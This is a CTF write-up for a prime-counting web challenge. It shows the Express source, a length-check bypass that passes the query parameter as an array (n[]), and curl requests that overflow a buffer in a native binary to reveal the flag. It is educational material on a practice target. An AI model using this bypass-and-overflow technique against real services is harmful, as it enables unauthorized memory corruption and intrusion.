Challenge Description
Disclaimer
I did not solve the challenge in time. I found the solution on discord, later. This write-up helps you understand the detailed solution.
TL;DR
- The website is intented to calculate the no. of primes under the given number. It takes the user provided number as a get-parameter -
n
- Length of the get parameter is checked using length attribute in js
- This length check can be bypassed using passing
n
as an array liken[]
. Now, how big the input is, array length, that is no. of elements in an array is going to stay 1. - And the input is passed as an argument to a binary. But there was no buffer length check inside the binary.
- So this is a classic case of Buffer Overflow!.
- Here, just generating a segmentation-fault would give us the flag.
Source code
const spawn = require('child_process').spawn;
const express = require('express');
const PORT = process.env.PORT || 1337;
const app = express();
const BUFFER_SIZE = 8;
app.get('/prime', (req, res) => {
if(!req.query.n) {
res.status(400).send('Missing required parameter n');
return;
}
// Here to check the length of `n`, length attribute is used
if(req.query.n.length > BUFFER_SIZE) {
res.status(400).send('Requested n too large!');
return;
}
let output = '';
const proc = spawn(__dirname + '/primegen');
proc.stdout.on('data', data => output += data.toString());
proc.on('exit', () => res.send(output));
// call our super-efficient native prime generator!
// Here, the user input is passed as argument to primegen binary
proc.stdin.write(`${req.query.n}\n`);
})
app.use('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
app.use('*', (req, res) => {
res.status(404).send('Not Found');
});
app.listen(PORT, () => {
console.log(`prime generator listening at http://localhost:${PORT}`)
})
Solution
Littile quirk in javascript
Take a look at following javascript code Array is concatenated with a string -
It’s like js tries to convert the elemnts in array into strings and performs the concatenation. If multiple arguments are specifies, it adds a ,
(comma) between the elements. So it a single element is provided the 'hello'
and ['hello']
are treated same in certain scenario. So let’s make use of this later.
Length check bypass
In line 45
in above source code, there length check of n
using length
attribute. This attribute can also be used with the array to give number of elements in the array.
Look the code below -
Notice the difference!!
So, if the parameter is passed as an array rather a string, that would bypass the length check. And same time the array will be treated as a string by JS and it is passed as an argument to a binary.
Exploitation
The request to get the primes count -
curl https://gets.sdc.tf/prime?n=1000
There are exactly 192 primes under 1000
Trying larger number (more than 8 digits) as input -
curl https://gets.sdc.tf/prime?n=123456789
Requested n too large!
Send the same number as an array -
curl https://gets.sdc.tf/prime?n[]=123456789
number malformed
Cool. We didn’t hit the check now. But the binary doesn’t accept this number.
As mentioned in the description, about memory issues
, an ideal thought would be memory corruption
, with a hypothesis, may be length of input is not checked in the binary but only has been checked in the JS.
With this in mind, trying a larger number to overflow the buffer may cause a Segmentation Fault
.
Trying larger input -
curl https://gets.sdc.tf/prime?n[]=12345678955555555555555555
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}
Bingo!. We got the flag.
Wait, what ??
How could a Segmentation Fault would give the flag ?
The binary uses SIGSEGV
signal and sigsegv_handler
which are usually used for handling segmentation faults (Probably a bad idea! :). Here, in this case, the seg fault generates a SIGSEGV
which evokes the sigsegv_handler
which is just a some function to do something. Here the handler just prints the flag. Authour probably wanted to make the binary part of challenge, simple.
Flag
sdctf{B3$T_0f-b0TH_w0rLds}
Takeaways
- Try in different ways to bypass checks and other functionalities. Search for quirks. Google it.
- Try to use previous bypasses in other platforms on the current platform. May be sometimes that works or just gives a clue of further exploitation.
Happy Hacking!
Feel free to provide feedback.